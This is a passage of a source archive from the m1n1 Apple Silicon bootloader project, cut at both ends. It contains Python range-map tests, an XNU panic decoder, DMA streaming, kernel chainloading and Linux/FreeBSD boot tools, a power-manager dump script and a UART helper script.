24, [2]), (30, 39, [3]), (70, 79, [7]) ]) # ScalarRangeMap test a = ScalarRangeMap() a[0:5] = 1 a[5:10] = 2 a[4:8] = 3 del a[2:4] expect = [1, 1, None, None, 3, 3, 3, 3, 2, 2, None] for i,j in enumerate(expect): assert a.get(i) == j if j is not None: assert a[i] == j try: a[10] except KeyError: pass else: assert False # DictRangeMap test a = DictRangeMap() a[0:5, 0] = 10 a[5:8, 1] = 11 a[4:6, 2] = 12 del a[2:4] expect = [{0: 10}, {0: 10}, {}, {}, {0: 10, 2: 12}, {1: 11, 2: 12}, {1: 11}, {1: 11}, {}] for i,j in enumerate(expect): assert a[i] == j for k, v in j.items(): assert a[i, k] == v # SetRangeMap test a = SetRangeMap() a[0:2] = {1,} a[2:7] = {2,} a.add(range(1, 4), 3) a.discard(0, -1) a.discard(3, 2) del a[4] expect = [{1,}, {1,3}, {2,3}, {3,}, set(), {2,}, {2,}, set()] for i,j in enumerate(expect): assert a[i] == j # BoolRangeMap test a = BoolRangeMap() a.set(range(0, 2)) a.set(range(4, 6)) a.set(range(5, 5)) a.clear(range(3, 5)) expect = [True, True, False, False, False, True, False] for i,j in enumerate(expect): assert a[i] == j m1n1-1.4.11/proxyclient/m1n1/xnutools.py000066400000000000000000000063271453754430200177720ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import re from construct import * __all__ = [] DebuggerState = Struct( "panic_options" / Hex(Int64ul), "current_op" / Hex(Int32ul), "proceed_on_sync_failure" / Int32ul, "message" / Hex(Int64ul), "panic_str" / Hex(Int64ul), "panic_args" / Hex(Int64ul), "panic_data_ptr" / Hex(Int64ul), "panic_caller" / Hex(Int64ul), "entry_count" / Hex(Int32ul), "kern_return" / Hex(Int32sl) ) # Darwin va_list is just a stack pointer... VaList = Struct( "stack" / Hex(Int64ul), ) def decode_debugger_state(u, ctx): p = u.proxy iface = u.iface def hv_readmem(addr, size): addr = p.hv_translate(addr, False, False) assert addr != 0 return iface.readmem(addr, size) p_state = p.hv_translate(ctx.regs[25], False, False) assert p_state != 0 di = iface.readstruct(p_state, DebuggerState) print(di) message = hv_readmem(di.message, 1024).split(b"\x00")[0].decode("ascii") print() print(f"Message: {message}") print("===== Panic string =====") decode_panic(u, di.panic_str, di.panic_args) print("========================") def decode_panic_call(u, ctx): decode_panic(u, ctx.regs[0], ctx.regs[1]) def decode_panic(u, p_string, p_args): p = u.proxy iface = u.iface def hv_readmem(addr, size): addr = p.hv_translate(addr, False, False) assert addr != 0 return iface.readmem(addr, size) string = hv_readmem(p_string, 1024).split(b"\x00")[0].decode("ascii") p_args = p.hv_translate(p_args, False, False) args = iface.readstruct(p_args, VaList) stack = hv_readmem(args.stack, 504) def va_arg(t): nonlocal stack d, stack = stack[:8], stack[8:] return t.parse(d) utypes = { "hh": Int8ul, "h": Int16ul, None: Int32ul, "l": Int64ul, "ll": Int64ul, "q": Int64ul, "s": Int64ul, "t": Int64ul, } stypes = { "hh": Int8sl, "h": Int16sl, None: Int32sl, "l": Int64sl, "ll": Int64sl, "q": Int64sl, "s": Int64sl, "t": Int64sl, } #print(string) def format_arg(match): pat, flags, width, mod, conv = match.group(0, 1, 2, 3, 4) if conv == "%": return "%" elif conv == "s": return hv_readmem(va_arg(Int64ul), 1024).split(b"\x00")[0].decode("ascii") elif conv in "di": v = va_arg(stypes[mod]) return f"%{flags or ''}{width or ''}{conv or ''}" % v elif conv in "ouxX": v = va_arg(utypes[mod]) return f"%{flags or ''}{width or ''}{conv or ''}" % v elif conv in "p": return f"0x{va_arg(Int64ul):x}" else: return f"[{pat!r}:{va_arg(Int64ul):x}]" string = re.sub('%([-#0 +]*)([1-9][0-9]*)?(hh|h|l|ll|q|L|j|z|Z|t)?([diouxXeEfFgGaAcsCSpnm%])', format_arg, string) print(string + "\n", end="") __all__.extend(k for k, v in globals().items() if (callable(v) or isinstance(v, type)) and v.__module__ == __name__) m1n1-1.4.11/proxyclient/tools/000077500000000000000000000000001453754430200161015ustar00rootroot00000000000000m1n1-1.4.11/proxyclient/tools/admac_stream.py000077500000000000000000000052311453754430200210770ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib import time sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) import argparse from m1n1.hw.dart import DART from m1n1.hw.admac import * argparser = argparse.ArgumentParser() argparser.add_argument("-b", "--bufsize", type=int, default=1024*32, help="size of one DMA buffer (covered by one descriptor)") argparser.add_argument("-n", "--node", type=str, default="admac-sio", help="name of ADT node") argparser.add_argument("-c", "--chan", "--channel", type=int, default=0, help="channel no") argparser.add_argument("-w", "--buswidth", type=E_BUSWIDTH, default=E_BUSWIDTH.W_32BIT, help="DMA device-facing bus width") argparser.add_argument("-v", "--verbose", action='store_true') args = argparser.parse_args() from m1n1.setup import p, u # find full ADT path path = None for node in u.adt["/arm-io"]: if node.name == args.node: path = node._path.removeprefix("/device-tree") print(f"Found {path}", file=sys.stderr) if "clock-gates" in node._properties: print(f"Enabling {path}", file=sys.stderr) p.pmgr_adt_clocks_enable(path) break if path is None: print(f"No instance named {args.node:r} found!", file=sys.stderr) sys.exit(1) admac_node = u.adt[path] iommu_mappers = dict() for node in u.adt["/arm-io"].walk_tree(): if "compatible" in node._properties and node.compatible == ["iommu-mapper"]: iommu_mappers[getattr(node, "AAPL,phandle")] = node mapper = iommu_mappers[admac_node.iommu_parent] dart_path = mapper._parent_path.removeprefix("/device-tree")[:-1] dart_idx = mapper.reg if "clock-gates" in u.adt[dart_path]._properties: print(f"Enabling {dart_path}", file=sys.stderr) p.pmgr_adt_clocks_enable(path) dart = DART.from_adt(u, dart_path) admac = ADMAC(u, admac_node.get_reg(0)[0], dart, dart_stream=dart_idx, debug=args.verbose) chan = admac.chans[args.chan] chan.disable() chan.reset() chan.read_reports() chan.buswidth = args.buswidth chan.framesize = E_FRAME.F_1_WORD chan.sram_carveout = (0x0, 0x1000) if chan.tx: chan.submit(bytearray(args.bufsize)) else: chan.submit(buflen=args.bufsize) chan.enable() try: if chan.tx: while (buf := sys.stdin.buffer.read(args.bufsize)): while not chan.can_submit(): chan.poll() chan.submit(buf) else: while True: while chan.can_submit(): chan.submit(buflen=args.bufsize) sys.stdout.buffer.write(chan.poll()) except KeyboardInterrupt: pass chan.disable() m1n1-1.4.11/proxyclient/tools/chainload.py000077500000000000000000000117111453754430200204010ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) import argparse, pathlib, time parser = argparse.ArgumentParser(description='Mach-O loader for m1n1') parser.add_argument('-q', '--quiet', action="store_true", help="Disable framebuffer") parser.add_argument('-n', '--no-sepfw', action="store_true", help="Do not preserve SEPFW") parser.add_argument('-c', '--call', action="store_true", help="Use call mode") parser.add_argument('-r', '--raw', action="store_true", help="Image is raw") parser.add_argument('-E', '--entry-point', action="store", type=int, help="Entry point for the raw image", default=0x800) parser.add_argument('-x', '--xnu', action="store_true", help="Set up for chainloading XNU") parser.add_argument('payload', type=pathlib.Path) parser.add_argument('boot_args', default=[], nargs="*") args = parser.parse_args() from m1n1.setup import * from m1n1.tgtypes import BootArgs from m1n1.macho import MachO from m1n1 import asm new_base = u.base if args.raw: image = args.payload.read_bytes() image += b"\x00\x00\x00\x00" entry = new_base + args.entry_point else: macho = MachO(args.payload.read_bytes()) image = macho.prepare_image() image += b"\x00\x00\x00\x00" entry = macho.entry entry -= macho.vmin entry += new_base if args.quiet: p.iodev_set_usage(IODEV.FB, 0) sepfw_start, sepfw_length = 0, 0 preoslog_start, preoslog_size = 0, 0 if not args.no_sepfw: sepfw_start, sepfw_length = u.adt["chosen"]["memory-map"].SEPFW if hasattr(u.adt["chosen"]["memory-map"], "preoslog"): preoslog_start, preoslog_size = u.adt["chosen"]["memory-map"].preoslog image_size = align(len(image)) sepfw_off = image_size image_size += align(sepfw_length) preoslog_off = image_size image_size += align(preoslog_size) bootargs_off = image_size bootargs_size = 0x4000 image_size += bootargs_size print(f"Total region size: 0x{image_size:x} bytes") image_addr = u.malloc(image_size) print(f"Loading kernel image (0x{len(image):x} bytes)...") u.compressed_writemem(image_addr, image, True) p.dc_cvau(image_addr, len(image)) if not args.no_sepfw: print(f"Copying SEPFW (0x{sepfw_length:x} bytes)...") p.memcpy8(image_addr + sepfw_off, sepfw_start, sepfw_length) print(f"Adjusting addresses in ADT...") u.adt["chosen"]["memory-map"].SEPFW = (new_base + sepfw_off, sepfw_length) u.adt["chosen"]["memory-map"].BootArgs = (new_base + bootargs_off, bootargs_size) if hasattr(u.adt["chosen"]["memory-map"], "preoslog"): p.memcpy8(image_addr + preoslog_off, preoslog_start, preoslog_size) u.adt["chosen"]["memory-map"].preoslog = (new_base + preoslog_off, preoslog_size) for name in ("mtp", "aop"): if name in u.adt["/arm-io"]: iop = u.adt[f"/arm-io/{name}"] nub = u.adt[f"/arm-io/{name}/iop-{name}-nub"] if iop.segment_names.endswith(";__OS_LOG"): iop.segment_names = iop.segment_names[:-9] nub.segment_names = nub.segment_names[:-9] iop.segment_ranges = iop.segment_ranges[:-32] nub.segment_ranges = nub.segment_ranges[:-32] print("Setting secondary CPU RVBARs...") rvbar = entry & ~0xfff for cpu in u.adt["cpus"][1:]: addr, size = cpu.cpu_impl_reg print(f" {cpu.name}: [0x{addr:x}] = 0x{rvbar:x}") p.write64(addr, rvbar) u.push_adt() print("Setting up bootargs...") tba = u.ba.copy() tba.top_of_kernel_data = new_base + image_size if len(args.boot_args) > 0: boot_args = " ".join(args.boot_args) if "-v" in boot_args.split(): tba.video.display = 0 else: tba.video.display = 1 print(f"Setting boot arguments to {boot_args!r}") tba.cmdline = boot_args if args.xnu: # Fix virt_base, since we often install m1n1 with it set to 0 which xnu does not like tba.virt_base = 0xfffffe0010000000 + (tba.phys_base & (32 * 1024 * 1024 - 1)) tba.devtree = u.ba.devtree - u.ba.virt_base + tba.virt_base iface.writemem(image_addr + bootargs_off, BootArgs.build(tba)) print(f"Copying stub...") stub = asm.ARMAsm(f""" 1: ldp x4, x5, [x1], #16 stp x4, x5, [x2] dc cvau, x2 ic ivau, x2 add x2, x2, #16 sub x3, x3, #16 cbnz x3, 1b ldr x1, ={entry} br x1 """, image_addr + image_size) iface.writemem(stub.addr, stub.data) p.dc_cvau(stub.addr, stub.len) p.ic_ivau(stub.addr, stub.len) print(f"Entry point: 0x{entry:x}") if args.xnu and p.display_is_external(): if p.display_start_dcp() >= 0: p.display_shutdown(0) if args.call: print(f"Shutting down MMU...") try: p.mmu_shutdown() except ProxyCommandError: pass print(f"Jumping to stub at 0x{stub.addr:x}") p.call(stub.addr, new_base + bootargs_off, image_addr, new_base, image_size, reboot=True) else: print(f"Reloading into stub at 0x{stub.addr:x}") p.reload(stub.addr, new_base + bootargs_off, image_addr, new_base, image_size) iface.nop() print("Proxy is alive again") m1n1-1.4.11/proxyclient/tools/codecshell.py000077500000000000000000000047661453754430200206000ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) import argparse parser = argparse.ArgumentParser(description='Enter a shell for codec-poking') parser.add_argument('-n', '--no-reset', action="store_true") args = parser.parse_args() from m1n1.setup import * from m1n1.shell import run_shell from m1n1.hw.i2c import I2C, I2CRegMapDev from m1n1.hw.codecs import * i2c = {} class TAS5770(I2CRegMapDev): REGMAP = TAS5770Regs ADDRESSING = (1, 1) class SN012776(I2CRegMapDev): REGMAP = SN012776Regs ADDRESSING = (1, 1) class CS42L84(I2CRegMapDev): REGMAP = CS42L84Regs ADDRESSING = (0, 2) class SSM3515(I2CRegMapDev): REGMAP = SSM3515Regs ADDRESSING = (0, 1) gpios = {} for node in u.adt["/arm-io"]: if node.name.endswith("gpio") or node.name.endswith("gpio0"): gpios[node._properties["AAPL,phandle"]] = node spks = [] for node in u.adt["/arm-io"]: if not node.name.startswith("i2c"): continue n = int(node.name[3:]) i2c[n] = bus = I2C(u, f"/arm-io/{node.name}") for devnode in node: if "compatible" not in devnode._properties: continue dcls = { "audio-control,tas5770": TAS5770, "audio-control,sn012776": SN012776, "audio-control,cs42l84": CS42L84, "audio-control,ssm3515": SSM3515, }.get(devnode.compatible[0], None) if not dcls: continue dev = dcls.from_adt(bus, f"/arm-io/{node.name}/{devnode.name}") dev.node = devnode i2c[n].devs.append(dev) if type(dev) in [TAS5770, SN012776, SSM3515]: spks.append(dev) else: hp = dev if "function-reset" in devnode._properties: prop = devnode.function_reset gpio_host = gpios[prop.phandle] addr = gpio_host.get_reg(0)[0] + prop.args[0] * 4 if not args.no_reset: print(f"Releasing #RST of {devnode.name}") p.mask32(addr, 1, 0) print(f"Pulling #RST of {devnode.name}") p.mask32(addr, 1, 1) if "interrupts" in devnode._properties \ and devnode.interrupt_parent in gpios: gpio_host = gpios[devnode.interrupt_parent] addr = gpio_host.get_reg(0)[0] + devnode.interrupts[0] * 4 print(f"Monitoring IRQ of {devnode.name}") mon.add(addr, 4) run_shell(globals(), msg="Have fun!") m1n1-1.4.11/proxyclient/tools/dump_pmgr.py000077500000000000000000000115571453754430200204610ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1 import adt from m1n1.setup import * from m1n1.hw.nco import NCO dt = u.adt pmgr = dt["/arm-io/pmgr"] dev_by_id = {dev.id: dev for dev in pmgr.devices} pd_by_id = {pd.id: pd for pd in pmgr.power_domains} clk_by_id = {clk.id: clk for clk in pmgr.clocks} print("=== PS Regs ===") for i, r in enumerate(pmgr.ps_regs): print(f" #{i:2d} reg: {r.reg} off: {r.offset:05x} mask:{r.mask:08x}") print() print("=== Perf Regs ===") for i, r in enumerate(pmgr.perf_regs): print(f" #{i:2d} reg: {r.reg} off: {r.offset:05x} size:{r.size:05x} unk:{r.unk:08x}") #print() #print("=== PWR Gate Regs ===") #for i, r in enumerate(pmgr.pwrgate_regs): #print(f" #{i:2d} reg: {r.reg} off: {r.offset:05x} mask:{r.mask:08x} unk:{r.unk:08x}") clock_users = {} dev_users = {} for dev in dt["/arm-io"]: if hasattr(dev, "clock_ids") and dev.clock_ids: for i, clk in enumerate(dev.clock_ids): clock_users.setdefault(clk, []).append(f"{dev._path}.clk[{i}]") if hasattr(dev, "clock_gates") and dev.clock_gates: for i, pdev in enumerate(dev.clock_gates): dev_users.setdefault(pdev, []).append(f"{dev._path}.clkgate[{i}]") if hasattr(dev, "power_gates") and dev.power_gates: for i, pdev in enumerate(dev.power_gates): dev_users.setdefault(pdev, []).append(f"{dev._path}.pwrgate[{i}]") print() print("=== Devices ===") for i, dev in enumerate(pmgr.devices): flags = ", ".join(k for k in dev.flags if k[0] != "_" and dev.flags[k]) s = f" #{i:3d} {dev.name:20s} id: {dev.id:3d} psreg: {dev.psreg:2d}:{dev.psidx:2d} " s += f" flags: {flags:24s} unk1_0: {dev.unk1_0} unk1_1: {dev.unk1_1} unk1_2: {dev.unk1_2} " s += f" perf_reg: {dev.perf_block}:{dev.perf_idx:#04x} unk3: {dev.unk3:3d} {dev.unk2_0:2d} {dev.ps_cfg16:2d} {dev.unk2_3:3d}" if not dev.flags.no_ps: ps = pmgr.ps_regs[dev.psreg] addr = pmgr.get_reg(ps.reg)[0] + ps.offset + dev.psidx * 8 val = p.read32(addr) s += f" @ {addr:#x} = {val:#010x}" else: s += f" @ " if dev.pd: pd = pd_by_id[dev.pd] s += f" pd: {pd.name:20s}" else: s += " " if any(dev.parents): s += " parents: " + ", ".join(dev_by_id[idx].name if idx in dev_by_id else f"#{idx}" for idx in dev.parents if idx) print(s) for i in dev_users.get(dev.id, []): print(f" User: {i}") print() print("=== Clocks ===") for i, clk in enumerate(pmgr.clocks): perf = pmgr.perf_regs[clk.perf_block] reg = pmgr.get_reg(perf.reg)[0] + 0x100 + clk.perf_idx * 0x10 print(f" #{i:3d} {clk.name:20s} id: {clk.id:3d} reg:{clk.perf_block}:{clk.perf_idx:#4x} ({reg:#x}) {clk.unk:#x}") print() print("=== Power Domains ===") for i, pd in enumerate(pmgr.power_domains): perf = pmgr.perf_regs[pd.perf_block] reg = pmgr.get_reg(perf.reg)[0] + 0x100 + pd.perf_idx * 0x10 print(f" #{i:3d} {pd.name:20s} id: {pd.id:3d} reg:{pd.perf_block}:{pd.perf_idx:#4x} ({reg:#x})") print() print("=== Events ===") for i, ev in enumerate(pmgr.events): perf = pmgr.perf_regs[ev.perf_block] reg = pmgr.get_reg(perf.reg)[0] + 0x100 + ev.perf_idx * 0x10 v = f" #{i:3d} {ev.name:20s} unk:{ev.unk1:#3x}/{ev.unk2}/{ev.unk3} id: {ev.id:3d} reg:{ev.perf_block}:{ev.perf_idx:#4x} ({reg:#x})" if ev.perf2_idx: perf2 = pmgr.perf_regs[ev.perf2_block] reg2 = pmgr.get_reg(perf2.reg)[0] + 0x100 + ev.perf2_idx * 0x10 v += f" reg2:{ev.perf2_block}:{ev.perf2_idx:#4x} ({reg2:#x})" print(v) arm_io = dt["/arm-io"] print() print("=== Fixed clocks ===") for clk in range(256): users = clock_users.get(clk, []) if users: print(f" #{clk}") for j in users: print(f" User: {j}") print() print("=== Boot clocks ===") for i, (freq, reg, nclk) in enumerate(zip(arm_io.clock_frequencies, arm_io.clock_frequencies_regs, arm_io.clock_frequencies_nclk)): v = "" clk_type = reg >> 56 reg = reg & 0xFFFFFFFFFFFFFF if clk_type == 0x9c: v = f"fixed: {reg}" elif clk_type in (0xa0, 0xa1, 0xa4, 0xa5): v = f"regval: {p.read32(reg):#x}" elif clk_type == 0xa8: regvals = [p.read32(reg+off*4) for off in range(5)] try: # we are using the freq value from ADT as fin of NCO, # that's not exactly correct nco_freq = NCO.calc_rate(freq, regvals) except ValueError as e: nco_freq = 0 v = f"nco: (calculated rate: {nco_freq:d}) " for val in regvals: v += f"{val:#x} " print(f"#{i:3}: {freq:10d} {nclk} {clk_type:#x}/{reg:#x}: {v}") for j in clock_users.get(i + 256, []): print(f" User: {j}") m1n1-1.4.11/proxyclient/tools/freebsd.py000077500000000000000000000103711453754430200200720ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib import serial sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) import argparse, pathlib # FreeBSD's setup differs from Linux's in the following primary ways: # # 1.) We pretend our kernel is an initramfs and pick it up as such in a modified # loader build. This is the simplest way to avoid having ad-hoc # interpretations of stuff in m1n1 for our quirky development setup. # # 2.) U-Boot and dtb are required, loader/kernel are not. The latter are # assumed to be discoverable by the standard U-Boot process on disk if they # are not specified. Otherwise, we'll load them from memory if they are # provided. # parser = argparse.ArgumentParser(description='(FreeBSD) kernel loader for m1n1') parser.add_argument('u_boot', type=pathlib.Path, help="load u-boot before linux") parser.add_argument('dtb', type=pathlib.Path) parser.add_argument('-l', '--loader', type=pathlib.Path) parser.add_argument('-k', '--kernel', type=pathlib.Path) parser.add_argument('-b', '--bootargs', type=str, metavar='"boot arguments"') parser.add_argument('-t', '--tty', type=str) args = parser.parse_args() from m1n1.setup import * if args.tty is not None: tty_dev = serial.Serial(args.tty) tty_dev.reset_input_buffer() tty_dev.baudrate = 1500000 else: tty_dev = None if args.loader is not None: loader = args.loader.read_bytes() loader_size = len(loader) else: loader = None loader_size = 0 dtb = args.dtb.read_bytes() if args.kernel is not None: kernel = args.kernel.read_bytes() kernel_size = len(kernel) else: kernel = None kernel_size = 0 if args.bootargs is not None: print('Setting boot args: "{}"'.format(args.bootargs)) p.kboot_set_chosen("bootarg", args.bootargs) dtb_addr = u.malloc(len(dtb)) print("Loading DTB to 0x%x..." % dtb_addr) iface.writemem(dtb_addr, dtb) loader_base = u.memalign(2 * 1024 * 1024, loader_size) print("loader_base: 0x%x" % loader_base) assert not (loader_base & 0xffff) if kernel is not None: kernel_base = u.memalign(65536, kernel_size) print("Loading %d kernel bytes to 0x%x..." % (kernel_size, kernel_base)) iface.writemem(kernel_base, kernel, True) p.kboot_set_initrd(kernel_base, kernel_size) uboot = bytearray(args.u_boot.read_bytes()) uboot_size = len(uboot) uboot_addr = u.memalign(2*1024*1024, len(uboot)) print("Loading u-boot to 0x%x..." % uboot_addr) bootenv_start = uboot.find(b"bootcmd=run distro_bootcmd") bootenv_len = uboot[bootenv_start:].find(b"\x00\x00") bootenv_old = uboot[bootenv_start:bootenv_start+bootenv_len] bootenv = str(bootenv_old, "ascii").split("\x00") bootenv = list(filter(lambda x: not (x.startswith("baudrate") or (x.startswith("boot_") and not x.startswith("boot_efi_")) or x.startswith("distro_bootcmd")), bootenv)) if loader is not None: # dtb_addr not used here, the prepared fdt's at a different location. If # we use this one, we won't get any of our /chosen additions, for instance. bootcmd = "distro_bootcmd=bootefi 0x%x - 0x%x" % (loader_base, loader_size) else: bootcmd = "distro_bootcmd=devnum=0; run usb_boot" if tty_dev is not None: bootenv.append("baudrate=%d" % tty_dev.baudrate) bootenv.append(bootcmd) if args.bootargs is not None: bootenv.append("bootargs=" + args.bootargs) bootenv_new = b"\x00".join(map(lambda x: bytes(x, "ascii"), bootenv)) bootenv_new = bootenv_new.ljust(len(bootenv_old), b"\x00") if len(bootenv_new) > len(bootenv_old): raise Exception("New bootenv cannot be larger than original bootenv") uboot[bootenv_start:bootenv_start+bootenv_len] = bootenv_new u.compressed_writemem(uboot_addr, uboot, True) p.dc_cvau(uboot_addr, uboot_size) p.ic_ivau(uboot_addr, uboot_size) boot_addr = uboot_addr p.smp_start_secondaries() if p.kboot_prepare_dt(dtb_addr): print("DT prepare failed") sys.exit(1) iface.dev.timeout = 40 if loader is not None: print("Loading %d bytes to 0x%x..0x%x..." % (loader_size, loader_base, loader_base + loader_size)) iface.writemem(loader_base, loader, True) p.dc_cvau(loader_base, loader_size) p.ic_ivau(loader_base, loader_size) print("Ready to boot") daif = u.mrs(DAIF) daif = 0xc0 u.msr(DAIF, daif) print("DAIF: %x" % daif) p.kboot_boot(boot_addr) iface.ttymode(tty_dev) m1n1-1.4.11/proxyclient/tools/ishell.py000077500000000000000000000003701453754430200177360ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import pathlib import sys sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * from m1n1.ishell import run_ishell run_ishell(globals(), msg="Have fun!") m1n1-1.4.11/proxyclient/tools/linux.py000077500000000000000000000125271453754430200176240ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib import serial sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) import argparse, pathlib parser = argparse.ArgumentParser(description='(Linux) kernel loader for m1n1') parser.add_argument('payload', type=pathlib.Path) parser.add_argument('dtb', type=pathlib.Path) parser.add_argument('initramfs', nargs='?', type=pathlib.Path) parser.add_argument('--compression', choices=['auto', 'none', 'gz', 'xz'], default='auto') parser.add_argument('-b', '--bootargs', type=str, metavar='"boot arguments"') parser.add_argument('-t', '--tty', type=str) parser.add_argument('-u', '--u-boot', type=pathlib.Path, help="load u-boot before linux") parser.add_argument('-T', '--tso', action="store_true", help="enable TSO") args = parser.parse_args() from m1n1.setup import * if args.compression == 'auto': suffix = args.payload.suffix if suffix == '.gz': args.compression = 'gz' elif suffix == '.xz': args.compression = 'xz' else: raise ValueError('unknown compression for {}'.format(args.payload)) if args.tty is not None: tty_dev = serial.Serial(args.tty) tty_dev.reset_input_buffer() tty_dev.baudrate = 1500000 else: tty_dev = None payload = args.payload.read_bytes() dtb = args.dtb.read_bytes() if args.initramfs is not None: initramfs = args.initramfs.read_bytes() initramfs_size = len(initramfs) else: initramfs = None initramfs_size = 0 if args.bootargs is not None: print('Setting boot args: "{}"'.format(args.bootargs)) p.kboot_set_chosen("bootargs", args.bootargs) if args.compression != 'none': compressed_size = len(payload) compressed_addr = u.malloc(compressed_size) print("Loading %d bytes to 0x%x..0x%x..." % (compressed_size, compressed_addr, compressed_addr + compressed_size)) iface.writemem(compressed_addr, payload, True) dtb_addr = u.malloc(len(dtb)) print("Loading DTB to 0x%x..." % dtb_addr) iface.writemem(dtb_addr, dtb) kernel_size = 512 * 1024 * 1024 kernel_base = u.memalign(2 * 1024 * 1024, kernel_size) boot_addr = kernel_base print("Kernel_base: 0x%x" % kernel_base) assert not (kernel_base & 0xffff) if initramfs is not None: initramfs_base = u.memalign(65536, initramfs_size) print("Loading %d initramfs bytes to 0x%x..." % (initramfs_size, initramfs_base)) iface.writemem(initramfs_base, initramfs, True) p.kboot_set_initrd(initramfs_base, initramfs_size) if args.u_boot: uboot = bytearray(args.u_boot.read_bytes()) uboot_size = len(uboot) uboot_addr = u.memalign(2*1024*1024, len(uboot)) print("Loading u-boot to 0x%x..." % uboot_addr) bootenv_start = uboot.find(b"bootcmd=run distro_bootcmd") bootenv_len = uboot[bootenv_start:].find(b"\x00\x00") bootenv_old = uboot[bootenv_start:bootenv_start+bootenv_len] bootenv = str(bootenv_old, "ascii").split("\x00") bootenv = list(filter(lambda x: not (x.startswith("baudrate") or x.startswith("boot_") or x.startswith("distro_bootcmd")), bootenv)) if initramfs is not None: bootcmd = "distro_bootcmd=booti 0x%x 0x%x:0x%x $fdtcontroladdr" % (kernel_base, initramfs_base, initramfs_size) else: bootcmd = "distro_bootcmd=booti 0x%x - $fdtcontroladdr" % (kernel_base) if tty_dev is not None: bootenv.append("baudrate=%d" % tty_dev.baudrate) bootenv.append(bootcmd) if args.bootargs is not None: bootenv.append("bootargs=" + args.bootargs) bootenv_new = b"\x00".join(map(lambda x: bytes(x, "ascii"), bootenv)) bootenv_new = bootenv_new.ljust(len(bootenv_old), b"\x00") if len(bootenv_new) > len(bootenv_old): raise Exception("New bootenv cannot be larger than original bootenv") uboot[bootenv_start:bootenv_start+bootenv_len] = bootenv_new u.compressed_writemem(uboot_addr, uboot, True) p.dc_cvau(uboot_addr, uboot_size) p.ic_ivau(uboot_addr, uboot_size) boot_addr = uboot_addr p.cpufreq_init() p.smp_start_secondaries() if args.tso: print("Enabling TSO:") actlr = u.mrs("ACTLR_EL1") actlr |= (1 << 1) # TSO print(" CPU #0") u.msr("ACTLR_EL1", actlr) for i in range(1, 64): if p.smp_is_alive(i): print(f" CPU #{i}") u.msr("ACTLR_EL1", actlr, call=lambda addr, *args: p.smp_call_sync(i, addr & ~REGION_RX_EL1, *args)) p.kboot_set_chosen("apple,tso", "") if p.kboot_prepare_dt(dtb_addr): print("DT prepare failed") sys.exit(1) iface.dev.timeout = 40 if args.compression == 'none': kernel_size = len(payload) print("Loading %d bytes to 0x%x..0x%x..." % (kernel_size, kernel_base, kernel_base + kernel_size)) iface.writemem(kernel_base, payload, True) elif args.compression == 'gz': print("Uncompressing gz ...") kernel_size = p.gzdec(compressed_addr, compressed_size, kernel_base, kernel_size) elif args.compression == 'xz': print("Uncompressing xz ...") kernel_size = p.xzdec(compressed_addr, compressed_size, kernel_base, kernel_size) else: raise ValueError('unsupported compression {}'.format(args.compression)) print(kernel_size) if kernel_size < 0: raise Exception("Decompression error!") print("Decompress OK...") p.dc_cvau(kernel_base, kernel_size) p.ic_ivau(kernel_base, kernel_size) print("Ready to boot") daif = u.mrs(DAIF) daif = 0xc0 u.msr(DAIF, daif) print("DAIF: %x" % daif) p.kboot_boot(boot_addr) iface.ttymode(tty_dev) m1n1-1.4.11/proxyclient/tools/picocom-sec.sh000077500000000000000000000013451453754430200206440ustar00rootroot00000000000000#!/bin/sh # # Secondary UART device name exposed when m1n1 boots is /dev/m1n1-sec on # Linux host and /dev/cu.usbmodemP_03 on macOS host # DEFAULT_SECDEV=/dev/m1n1-sec PLATFORM_NAME=$(uname) case "${PLATFORM_NAME}" in Darwin) SECDEV=/dev/cu.usbmodemP_03 ;; *) SECDEV="$DEFAULT_SECDEV" ;; esac if [ "$M1N1DEVICE" ] ; then SECDEV="$M1N1DEVICE" echo "warning: overriding device name from M1N1DEVICE environment variable ($DECDEV)!" fi # The secondary UART device shows up when m1n1 boots on the tethered machine echo "Waiting for UART device file '$SECDEV' to appear (Ctrl+C to abort)..." while true; do while [ ! -e $SECDEV ] ; do sleep 1 ; done picocom --omap crlf --imap lfcrlf -b 500000 $SECDEV sleep 1 done m1n1-1.4.11/proxyclient/tools/pmgr_adt2dt.py000077500000000000000000000053671453754430200207000ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib import serial sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) import argparse, pathlib from m1n1 import adt parser = argparse.ArgumentParser(description='Convert ADT PMGR nodes to Device Tree format') parser.add_argument("-m", "--multidie", action="store_true") parser.add_argument('input', type=pathlib.Path) args = parser.parse_args() adt_data = args.input.read_bytes() dt = adt.load_adt(adt_data) pmgr = dt["/arm-io/pmgr"] dev_by_id = {dev.id: dev for dev in pmgr.devices} blocks = {} maxaddr = {} def die_node(s): if args.multidie: return f"DIE_NODE({s})" else: return s def die_label(s): if args.multidie: return f"DIE_LABEL({s})" else: return s for i, dev in enumerate(pmgr.devices): if dev.flags.no_ps: continue ps = pmgr.ps_regs[dev.psreg] block = pmgr.get_reg(ps.reg) blocks.setdefault(block, []).append(dev) offset = ps.offset + dev.psidx * 8 maxaddr[block[0]] = max(maxaddr.get(block[0], 0), offset) pmgr_compat = pmgr.compatible[0].split(",")[1] compatible = f'"apple,{pmgr_compat}-pmgr", "apple,pmgr", "syscon", "simple-mfd"' ps_compatible = f'"apple,{pmgr_compat}-pmgr-pwrstate", "apple,pmgr-pwrstate"' for i, ((base, size), devices) in enumerate(sorted(blocks.items())): size = min(size, (maxaddr[base] + 0x3fff) & ~0x3fff) print(f"pmgr{i}: 